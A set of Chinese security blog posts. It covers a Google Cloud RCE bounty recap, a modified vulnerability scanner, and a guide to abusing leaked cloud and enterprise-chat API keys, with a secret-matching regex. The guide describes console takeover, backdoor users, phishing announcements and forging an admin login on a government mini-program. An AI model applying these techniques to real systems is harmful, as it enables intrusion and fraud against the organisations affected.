9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">评审团颁发额外 </span><strong><span leaf="">$13,337</span></strong><span leaf="">。理由：漏洞类别为"单服务权限提升 - 写入"，无受害者交互的漏洞，默认 Google Cloud 产品</span></section></td></tr></tbody></table>## 七、漏洞奖金结构解析
|
||||
|
||||
根据 Google Cloud VRP 表格，基础 RCE 奖金大致分为三个档次：
|
||||
<table><thead><tr><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">档次</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">描述</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">基础奖金</span></section></th></tr></thead><tbody><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">第一档</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">权限相对较低的生产用户访问</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">$50,000</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">第二档</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">权限较高的生产用户访问</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">$75,000</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">第三档</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Google Cloud 管理员权限</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">$100,000</span></section></td></tr></tbody></table>
|
||||
实际落在哪一档，完全取决于被攻破的 prod 身份能直接访问多少生产环境范围。考虑到从生产环境访问到的庞大攻击面，从任何初始访问都极有可能实现权限提升。
|
||||
|
||||
Google 的内部调查发现了比研究员展示的更多影响，最终这笔奖励落在了 $75,000 档次。
|
||||
|
||||
|
||||
原文链接：
|
||||
https://brutecat.com/articles/google-cloud-rce/
|
||||
|
||||
**版权声明**
|
||||
：本文由华盟网原创发布，保留所有权利。配图由华盟网授权使用。
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650617065&idx=1&sn=1e30ce488590711587c29414a82b7ab8&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650617222&idx=2&sn=a600c58c6ac251bf0313134ad70a4fd8&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650617751&idx=1&sn=f1c1ed68d848029fc1ff726087cac05a&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650617464&idx=1&sn=a447b46bf211ae577eec30f82ed1d089&scene=21#wechat_redirect)
|
||||
> 👇 点击**阅读原文**
|
||||
，访问我的网站
|
||||
|
||||
|
||||
@@ -0,0 +1,198 @@
|
||||
# dddd改版：更聪明的资产发现&漏洞扫描工具
|
||||
原创 油漆工
|
||||
油漆工 C4安全 2026-05-25 03:18
|
||||
|
||||
前言
|
||||
|
||||
在企业安全建设越来越强调“持续发现、持续验证、持续修复”的今天，一款真正好用的安全扫描工具，往往不只是“能扫”，更要“扫得准、扩得开、用得顺”，dddd 正是这样一款面向安全研究与授权检测场景的工具
|
||||
|
||||
它把资产发现、端口扫描、指纹识别、漏洞检测、子域名探测、搜索引擎资产拉取等能力整合到一起，尽量减少手工切换工具的成本
|
||||
|
||||
改版
|
||||
|
||||
dddd原版 的一个核心特点是需要将指纹和漏洞POC绑定，这一步是非常繁琐的
|
||||
|
||||
在改版中我对指纹直接使用解析这一步拆分去匹配漏洞的POC tag
|
||||
|
||||
比如说，指纹是
|
||||
|
||||
```
|
||||
springBlade,saber登录系统,Nginx
|
||||
```
|
||||
|
||||
|
||||
它就会拆分为：
|
||||
springblade、saber、登录系统、saber登录系统、nginx
|
||||
这几个指纹tag，去所有的漏洞poc中匹配选中，然后再用选中的POC检测漏洞，避免全局POC扫描，提高效率
|
||||
|
||||
|
||||
dddd正工具不断更新和维护，内部社区师傅们提出修改意见，都会被考虑采纳！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
目前更新到1.7版本，可以支持拆分的指纹（不限）如下：
|
||||
```
|
||||
畅捷通 T+Cloud
|
||||
畅捷通 TPlus
|
||||
用友-畅捷通OEM
|
||||
用友畅捷通OEM
|
||||
用友畅捷通
|
||||
Yonyou-UFIDA
|
||||
Yonyou-UFIDA-NC
|
||||
用友-ERP-NC
|
||||
用友-NC-Cloud
|
||||
用友-GRP-U8
|
||||
用友-时空KSOA
|
||||
用友-ECLIENT
|
||||
用友-U8
|
||||
致远互联-OA
|
||||
致远互联-M1 移动端
|
||||
通达 OA
|
||||
泛微 Ecology
|
||||
泛微 EOffice
|
||||
泛微 EMobile
|
||||
泛微 云桥 e-Bridge
|
||||
蓝凌 OA
|
||||
蓝凌 EIS 智慧协同平台
|
||||
万户 ezOFFICE
|
||||
ezEIP
|
||||
金和 OA
|
||||
红帆 iOffice
|
||||
飞企 FE 业务协作平台
|
||||
用友 FE 协作办公平台
|
||||
华天动力 OA
|
||||
广联达 Linkworks 办公 OA
|
||||
O2OA
|
||||
全程云 OA
|
||||
帆软 FineReport
|
||||
致翔 OA
|
||||
|
||||
```
|
||||
|
||||
|
||||
同时我也兼容了优秀项目中的指纹：
|
||||
https://github.com/yyhuni/xingfinger/tree/main/fingerprints
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
目前支持检测的指纹数量已经达到了3万多个
|
||||
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
无论你输入的是单个 IP、网段、IP 段、域名、URL，还是包含多目标的文本文件，它都能自动识别并进入对应流程
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
漏洞检测方面，我将内置的nuclei引擎分离了出来，现在调用的是外部的nuclei可执行文件和nuclei模板
|
||||
|
||||
避免nuclei引擎和nuclei漏洞模板更新导致最新的漏洞检测不到，如需更新nuclei文件直接替换即可
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
如需更新漏洞POC模板，直接放到config文件夹下面的poc文件夹里即可
|
||||
|
||||
漏洞POC可以自行维护
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
dddd改版在识别完指纹之后，就会调用关联的POC去检测漏洞
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
漏洞结果会输出在html报告当中，而之前的指纹检测结果则会放在log.txt当中（追加内容，不会覆盖）
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
可以来看下生成的报告，这次检测出的是jeecg-boot的SQL注入漏洞，报告中写明了请求和返回包
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
另外还检测出了phpMyAdmin的安装目录文件，详细信息也类似
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
当然，任何安全工具都应该建立在
|
||||
合法授权的前提下使用
|
||||
|
||||
dddd改版更适合用于企业自有资产、授权测试环境和合规安全研究场景，帮助团队更快发现问题、验证风险、推动修复
|
||||
|
||||
|
||||
改版文件我已经分享在了内部知识大陆中，已加入的师傅们可以使用并提出优化的意见，目前工具还在不断的优化中~
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
内部CTF课程上线，总课程30+小时，优惠折扣中！
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247490286&idx=1&sn=7f8f80578014db3187bc3be58c0df737&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
帮会简介
|
||||
|
||||
《
|
||||
安全渗透感知
|
||||
》是FreeBuf知识大陆的重量级帮会，帮会致力于漏洞POC/EXP、红队攻防实战，是系统化从基础入门到实战漏洞挖掘的教程社区，包含团队自整的挖掘注意点和案例，还包含分享的渗透经验、SRC漏洞案例、代码审计、挖洞思路等高价值资源。
|
||||
|
||||
内容框架（持续新增中）
|
||||
|
||||
|
||||
|
||||
目前已有「670+」小伙伴加入了帮会
|
||||
|
||||
|
||||
|
||||
加入方式
|
||||
目前帮会成员
|
||||
670+
|
||||
人，
|
||||
永久会员优惠后只需
|
||||
69.9元
|
||||
。
|
||||
|
||||
随着人数的增加及资源的积累，
|
||||
之后永久会员将
|
||||
涨价至99元
|
||||
。
|
||||
|
||||
有意向的师傅们可以扫码加入我们，共同进步。
|
||||
|
||||
|
||||
如何加入帮会？→
|
||||
安卓/苹果用户
|
||||
可扫码使用优惠券↓↓
|
||||
|
||||
|
||||
|
||||
|
||||
→ PC端用户可复制此链接到浏览器↓↓
|
||||
|
||||
https://wiki.freebuf.com/societyDetail?society_id=184
|
||||
|
||||
|
||||
已加入帮会的小伙伴
|
||||
|
||||
可以加帮主进帮会内部交流群
|
||||
|
||||
|
||||
|
||||
请备注：帮会
|
||||
|
||||
@@ -0,0 +1,726 @@
|
||||
# key泄露利用：高危漏洞一条龙漏洞利用工具
|
||||
原创 神农Sec
|
||||
神农Sec 神农Sec 2026-05-25 01:00
|
||||
|
||||
课程培训
|
||||
|
||||
扫码咨询
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#
|
||||
|
||||
专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向，CNVD和EDUSRC漏洞挖掘，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有彩蛋（课程培训限时优惠）。
|
||||
#
|
||||
|
||||
|
||||
01
|
||||
|
||||
0x1 key泄露利用：高危漏洞一条龙漏洞利用工具
|
||||
|
||||
## 0x1 前言
|
||||
|
||||
哈咯，师傅们！这篇文章主要是给大家介绍相关key泄露，如何进行利用，给师傅们介绍很多好用的工具，进行更加高效地渗透测试，漏洞挖掘操作！
|
||||
## 0x2 云安全相关key泄露利用
|
||||
### 一、云业务 AccessKey 标识特征整理
|
||||
|
||||
学习参考文章：
|
||||
|
||||
https://wiki.teamssix.com/cloudservice/more/
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
下面的论述也是看完**曾哥**
|
||||
的文章，然后加上自己的理解，下面给师傅们分享下AccessKey
|
||||
相关的知识点了。对于云场景的渗透，现在已经层出不穷，获得AK
|
||||
和SK
|
||||
，也是云安全渗透中重要的一环。
|
||||
|
||||
通常，我们会在一些敏感的配置文件或者通过未授权访问、任意文件读取漏洞等方式，来寻找AK和SK。
|
||||
|
||||
一般常见的通过正则匹配式
|
||||
来寻找AK和SK：
|
||||
```
|
||||
(?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z\-_=]{8,64})['\"]
|
||||
|
||||
```
|
||||
|
||||
|
||||
QQ_1779629499931
|
||||
|
||||
下面我给师傅们介绍下常见的几个厂商的 Access Key
|
||||
内容特征，然后就能够根据不同厂商 Key 的不同特征，直接能判断出这是哪家厂商的 Access Key
|
||||
，从而针对性进行渗透测试。其中我们云服务器常见的就是阿里云和腾讯云了，我主要给师傅们介绍下面两种Access Key的特点。
|
||||
|
||||
**阿里云**
|
||||
|
||||
阿里云 (Alibaba Cloud) 的 Access Key 开头标识一般是 "LTAI
|
||||
"。
|
||||
```
|
||||
^LTAI[A-Za-z0-9]{12,20}$
|
||||
|
||||
```
|
||||
- Access Key ID长度为16-24个字符，由大写字母和数字组成。
|
||||
|
||||
- Access Key Secret长度为30个字符，由大写字母、小写字母和数字组成。
|
||||
|
||||
**腾讯云**
|
||||
|
||||
腾讯云 (Tencent Cloud) 的 Access Key 开头标识一般是 "AKID
|
||||
"。
|
||||
```
|
||||
^AKID[A-Za-z0-9]{13,20}$
|
||||
|
||||
```
|
||||
- SecretId长度为17个字符，由字母和数字组成。
|
||||
|
||||
- SecretKey长度为40个字符，由字母和数字组成。
|
||||
|
||||
### 二、云资产管理工具
|
||||
#### 1、下载
|
||||
|
||||
工具GitHub地址：https://github.com/dark-kingA/cloudTools
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
但是目前官方已经下架了，工具获取，添加我微信：routing_love
|
||||
获取即可
|
||||
|
||||
|
||||
|
||||
img
|
||||
#### 2、工具功能
|
||||
|
||||
阿里云：接管控制台、取消接管、Oss增删改查、远程命令执行回显、历史命令记录查看、子用户列表、云数据库管理、告警管理 腾讯云：接管控制台、取消接管、Oss增删改查、远程命令执行回显、子用户列表 华为云：接管控制台、取消接管、子用户列表 ucloud：接管控制台、主机查询、子用户列表查看、主用户查看、订单查看 AWS: 接管控制台、创建后门、子用户列表、策略列表 后门信息
|
||||
|
||||
云存储工具-资产列表
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
云存储工具-存储桶信息
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
云存储工具-其他服务
|
||||
|
||||
|
||||
|
||||
|
||||
云服务工具-资产列表
|
||||
|
||||
|
||||
|
||||
云服务工具-华为云接管控制台
|
||||
|
||||
|
||||
|
||||
云服务工具-ucloud相关
|
||||
|
||||
|
||||
|
||||
|
||||
其他工具：钉钉key泄露利用
|
||||
|
||||
|
||||
## 0x3 API-T00L-互联网厂商API利用工具
|
||||
### 一、工具使用介绍：
|
||||
|
||||
期望是针对互联网各大API泄露的利用工具，包含钉钉、企业微信、飞书等。目前只做出了钉钉和企业微信，别问，就是懒。特别鸣谢chatgpt，代码好帮手。 目前界面长这样，布局拉胯，能用就行。
|
||||
|
||||
GitHub项目地址：https://github.com/pykiller/API-T00L
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
包含钉钉、企业微信、飞书等。目前只做出了钉钉和企业微信
|
||||
|
||||
|
||||
|
||||
img
|
||||
### 二、钉钉
|
||||
|
||||
1、肯定你得有ak、as。填进去获取token
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
2、建用户
|
||||
|
||||
最简单的做法，直接填入有效手机号，加入组织中可以直接用手机号登录该企业。 userid不要重了，写大点。 删除按钮是根据userid来删除的
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
3、发公告钓鱼
|
||||
|
||||
获取管理员信息，得到管理员userid。
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
查userid可以得到部门id dept_id，这里只做了对部门发公告，实际操作中针对个人发公告效果不如直接加用户钓鱼好使。
|
||||
|
||||
|
||||
|
||||
img
|
||||
### 三、企业微信
|
||||
|
||||
企业微信相对于钉钉，限制较多，22年后获取的应用Corpsecret需要设置白名单，且无法绕过。并且对于通讯录的Corpsecret需要单独获取。
|
||||
|
||||
1、用Corpid和Corpsecret获取token
|
||||
|
||||
2、新建用户，填入有效手机号，加入组织中可以直接用手机号登录该企业。
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
3、还可以通过获取邀请二维码加入到企业。
|
||||
|
||||
|
||||
|
||||
img
|
||||
### 四、飞书
|
||||
|
||||
1、获取tenant_access_token
|
||||
|
||||
2、新建用户，填入有效手机号，加入组织中可以直接用手机号登录该企业。
|
||||
|
||||
需要注意，open_department_id为查询到的部门id，用户默认是放根部门，比较明显。可以放小部门里。
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
|
||||
|
||||
img
|
||||
## 0x4 EasyTools工具箱
|
||||
### 1、工具介绍
|
||||
|
||||
EasyTools - 一个简单方便使用的渗透测试工具箱,集成了工具仓库、网址导航、简练助手、CTF合集、代理池、cli脚本定时执行等诸多功能。
|
||||
|
||||
工具下载地址：https://github.com/doki-byte/EasyTools
|
||||
|
||||
|
||||
|
||||
img
|
||||
### 二、使用功能界面
|
||||
|
||||
支持各种key泄露，里面都有对应的接口功能调用
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
各种地图api key泄露利用
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
注册虚假手机号、身份证信息随机注册
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
Google语法相关功能：
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
OSS存储桶相关漏洞利用
|
||||
|
||||
|
||||
|
||||
img
|
||||
## 0x5 API-Explorer工具
|
||||
### 0x1 工具介绍
|
||||
|
||||
工具初衷是做一个小程序、公众号、企业微信、飞书、钉钉等泄露secert后利用工具，后来发现几家接口有一定区别，认证等参数分布在不同位置，索性就做成一个比较通用的工具了。目前可以定义：请求类型、url、header、body、正则提取认证token、接口参数说明。
|
||||
|
||||
工具GitHub下载链接：
|
||||
|
||||
https://github.com/mrknow001/API-Explorer
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
工具使用截屏：
|
||||
|
||||
|
||||
|
||||
img
|
||||
### 0x2 使用场景
|
||||
|
||||
场景1-(公众号appid，secert泄露利用)：
|
||||
|
||||
1、获取accesstoken
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
2、使用此token访问其他接口
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
有些时候拿到的appid跟secert公众号用不了，其实是它没有公众号，只有小程序，可以先用公众号接口获取token然后使用小程序接口获取其对应信息。
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
地图系列
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
场景2-(设备巡检)：
|
||||
|
||||
绿盟扫描器
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
绿盟UTS
|
||||
|
||||
获取token，注意这里密码加密后的，为了通用工具不做任何加密，所以加好密传入才行。获取加密办法：
|
||||
|
||||
f12后登录页面输入账号密码，找到authen_user接口，获取password内容即可。这个密码可复用，只要不改密码就可以一直用。
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
使用token获取设备信息
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
## 0x6 session_key三要素泄露
|
||||
|
||||
GitHub下载地址：https://github.com/mrknow001/wx_sessionkey_decrypt/releases
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
下面呢是我在挖那个市里面的人社局的微信小程序，说到微信小程序呢，师傅们应该是不陌生的，特别是打微信小程序常见的几个泄露，比如说这次要分享的session_key三要素泄露案例漏洞就是其中一个。session_key三要素泄露指的是SessionKey、iv以及加密字段全部泄露出来，一般在微信小程序使用手机号一键登录的时候常见的泄露，但是很多都是泄露iv以及加密字段，但是session_key值泄露的少。
|
||||
|
||||
可以看到这个数据包直接把SessionKey、iv以及加密字段三个部分全部泄露了
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
得到session_key三要素泄露之后呢，就需要使用我们的一个Wx_SessionKey_crypt这个工具了（需要的师傅们可以私信我，或者加我微信获取）
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
然后把泄露的三要素放到工具里面，然后解密，就可以看到我们的手机号了
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
其实利用这个漏洞的危害也很简单，就是我们可以在这个微信小程序的站点找到里面管理员的手机号，然后去替换手机号，然后再反向加密，然后再替换回开始登录的数据包中，然后再一键放包，就可以成功登录我们管理员的后台了
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
|
||||
|
||||
img
|
||||
|
||||
02
|
||||
|
||||
0x2 培训课程介绍
|
||||
|
||||
26
|
||||
|
||||
**SRC漏洞挖掘培训课程**
|
||||
|
||||
|
||||
|
||||
|
||||
**1.课程价格目前是500（后面也会随着人数越多，涨价）🌟师傅们还可以上车补票，冲冲冲！**
|
||||
|
||||
**2.报名成功送知识星球一个，拉内部小圈子交流群+SRC直播通知群！✨**
|
||||
|
||||
**3.一周2节课程，直播+录播形式，课程内容大家可以看课表，目前是第一期，一次报名永久无限听课！❤️**
|
||||
|
||||
**4.目前是第一期课程，后面比如说开了二、三期，都是不用在花钱的！**
|
||||
|
||||
**5.上课结束后，会把视频录播+课件笔记一起打包发直播群！**
|
||||
|
||||
**6.哔哩哔哩SRC课程公开课，链接🔗直达：**
|
||||
|
||||
**https://space.bilibili.com/642258933**
|
||||
|
||||
SRC课程详情🔎：
|
||||
[学了一堆理论，还是挖不到漏洞？你缺的是实战！](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247507132&idx=1&sn=7b3c40c91ce461e1ed1319edfbd4eeba&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
内部小圈子知识星球详情🔎：[50 元封顶！渗透攻防 + SRC 漏洞星球限时开放！](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247506434&idx=1&sn=afc6b7a3f7ff85899f67f1fcfa06b3f8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
欢迎关注微信公众号：神农Sec，报名咨询添加微信：
|
||||
routing_love
|
||||
|
||||
|
||||
|
||||
开课快四个月时间
|
||||
，课程目前已经
|
||||
累计加入了720+个学员
|
||||
了，课程培训招生任火热持续中，师傅们
|
||||
对于我们课程感兴趣的，想要学习技术，找工作的可以咨询我报名
|
||||
。
|
||||
|
||||
|
||||
|
||||
课程培训记录📝，每次上车在1-3小时之间，上课包括课程内部群大家
|
||||
交流氛围很好！
|
||||
|
||||
|
||||
|
||||
课程上课笔记课件📒都会打包给师傅们，笔记都非常详细，很多几k价格的培训机构哪怕是课件笔记都没有的，我这里都是下课第一时间把
|
||||
录播+笔记打包发给大家！
|
||||
|
||||
|
||||
|
||||
平常也都会给学员进行一些项目发布，包括后面的
|
||||
工作、护网内推等，经常上麦交流，大家互相学习，简历优化等。
|
||||
|
||||
|
||||
|
||||
SRC漏洞挖掘课程培训已经两个星期了，期间也是创建了
|
||||
“回本小群”，希望学员回本越来越多，创建这个群主要是鼓励学员学习进步，以及不定时发小项目！
|
||||
|
||||
最后也是希望大家都可以赚钱，找到好工作🎉
|
||||
|
||||
|
||||
|
||||
培训时间不长，感谢🙏师傅们的
|
||||
喜报
|
||||
，很开心看到师傅们给我分享自己的成果，
|
||||
希望师傅们越来越强！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
平常也会分享项目，下面是一些
|
||||
学员项目成果
|
||||
，群里报课的学员都是不抽成的，主要是帮助学员进行
|
||||
回本
|
||||
，
|
||||
让大家都可以进步！
|
||||
|
||||
|
||||
|
||||
上课结束后，会把
|
||||
视频录播+课件笔记
|
||||
一起打包发直播群
|
||||
|
||||
**「神农安全」**
|
||||
知识星球目前已经
|
||||
累计2200+网络安全爱好者的加入！
|
||||
|
||||
后面也是小圈子做大起来了，师傅们也都喜欢看我文章，想着给大家教下src漏洞挖掘思路，所以自己花了很长时间做了✨
|
||||
课件和课表，都是纯自己手搓的，大家也可以看下课表的内容。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
03
|
||||
|
||||
0x3 课程特色
|
||||
|
||||
课程
|
||||
主打真实，
|
||||
一线SRC漏洞挖掘师傅是如何学习和挖掘SRC漏洞的，让你真正了解SRC漏洞挖掘，助力在岗人员和大学生的能力提升，掌握新的技能树，为下一次
|
||||
跳槽涨薪做好准备。本
|
||||
课程内容覆盖企业
|
||||
SRC、众测项目挖掘、护网HVV红蓝攻防技巧、CVE、CNVD、EDUSRC等平台通杀案例技巧挖掘方法。
|
||||
|
||||
本课程
|
||||
适合人群
|
||||
（光看不挖啥也不会）
|
||||
```
|
||||
1、想从0转行入行的大学生或自学者
|
||||
2、想从CTF比赛/Web或SRC进阶到项目实战的选手
|
||||
3、想参与项目/找工作/提高收入的转型者
|
||||
```
|
||||
|
||||
课程价格：500 元
|
||||
|
||||
报课成功的师傅们直接免费送内部小圈：一个知识星球+内部小圈子交流群
|
||||
```
|
||||
1、课程价格真心实惠，绝不割韭菜
|
||||
2、两三百的课程价格让你体会大几千的培训课程内容
|
||||
3、带着大家从0到1，本人上课坚持手搓课件（实战案例+知识体系）
|
||||
4、拒绝使用PPT演讲模式（无实操，很枯燥）
|
||||
```
|
||||
|
||||
直播培训教学方式
|
||||
|
||||
课程
|
||||
一周1-2节课，课程特色涵盖直播多人上麦活跃回答，直播过程中有问题随时解决或私信我。
|
||||
拉微信群：一个知识星球内部小圈子交流群+课程培训直播通知群。有项目/工作/护网第一时间内推报课的师傅，
|
||||
一对一简历优化，助力在岗人员和大学生的能力提升。
|
||||
|
||||
一次报名每期均可永久学习，并且赠送内部「神农安全」知识星球，一对一永久解答、无保留教学！
|
||||
|
||||
欢迎关注微信公众号：神农Sec，报名咨询添加微信：
|
||||
routing_love
|
||||
|
||||
课程均为线上交付，报名成功后
|
||||
不支持退款
|
||||
|
||||
内部小圈子
|
||||
（知识星球+内部小圈子交流群+知识库）
|
||||
|
||||
对内部小圈子感兴趣的师傅们也可以看下下面的这个
|
||||
跳转链接，里面有对小圈子的详细介绍，报名课程成功的师傅们直接免费送一个（直接点击下面直接可以跳转）。
|
||||
|
||||
[强烈推荐一个永久的SRC挖掘、渗透攻防内部知](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247506434&idx=1&sn=afc6b7a3f7ff85899f67f1fcfa06b3f8&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247506434&idx=1&sn=afc6b7a3f7ff85899f67f1fcfa06b3f8&scene=21#wechat_redirect)
|
||||
|
||||
[识库](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247506434&idx=1&sn=afc6b7a3f7ff85899f67f1fcfa06b3f8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
讲师介绍
|
||||
|
||||
id：一个想当文人的黑客
|
||||
|
||||
|
||||
|
||||
欢迎关注微信公众号：神农Sec，报名咨询添加微信：
|
||||
routing_love
|
||||
|
||||
|
||||
|
||||
04
|
||||
|
||||
0x4 第一期挖洞培训课表内容
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**内部圈子介绍（报课赠送）**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**圈子专注于更新src/红蓝攻防相关：**
|
||||
|
||||
```
|
||||
1、维护更新src专项漏洞知识库，包含原理、挖掘技巧、实战案例
|
||||
2、知识星球专属微信“小圈子交流群”
|
||||
3、微信小群一起挖洞
|
||||
4、内部团队专属EDUSRC证书站漏洞报告
|
||||
5、分享src优质视频课程（企业src/EDUSRC/红蓝队攻防）
|
||||
6、分享src挖掘技巧tips
|
||||
7、不定期有众测、渗透测试项目（一起挣钱）
|
||||
8、不定期有工作招聘内推（工作/护网内推）
|
||||
9、送全国职业技能大赛环境+WP解析（比赛拿奖）
|
||||
10、十个专栏会持续更新~提前续费有优惠，好用不贵很实惠
|
||||
11、每日内部资料分享，内部圈子资料1000+
|
||||
12、联系圈主获取：内部漏洞知识库+圈子使用手册+内部圈子交流群
|
||||
13、VX：routing_love，技术交流+疑问解决
|
||||
```
|
||||
|
||||
|
||||
**内部圈子**
|
||||
**专栏介绍**
|
||||
|
||||
知识星球内部共享资料截屏详情如下
|
||||
|
||||
（只要没有特殊情况，每天都保持更新）
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
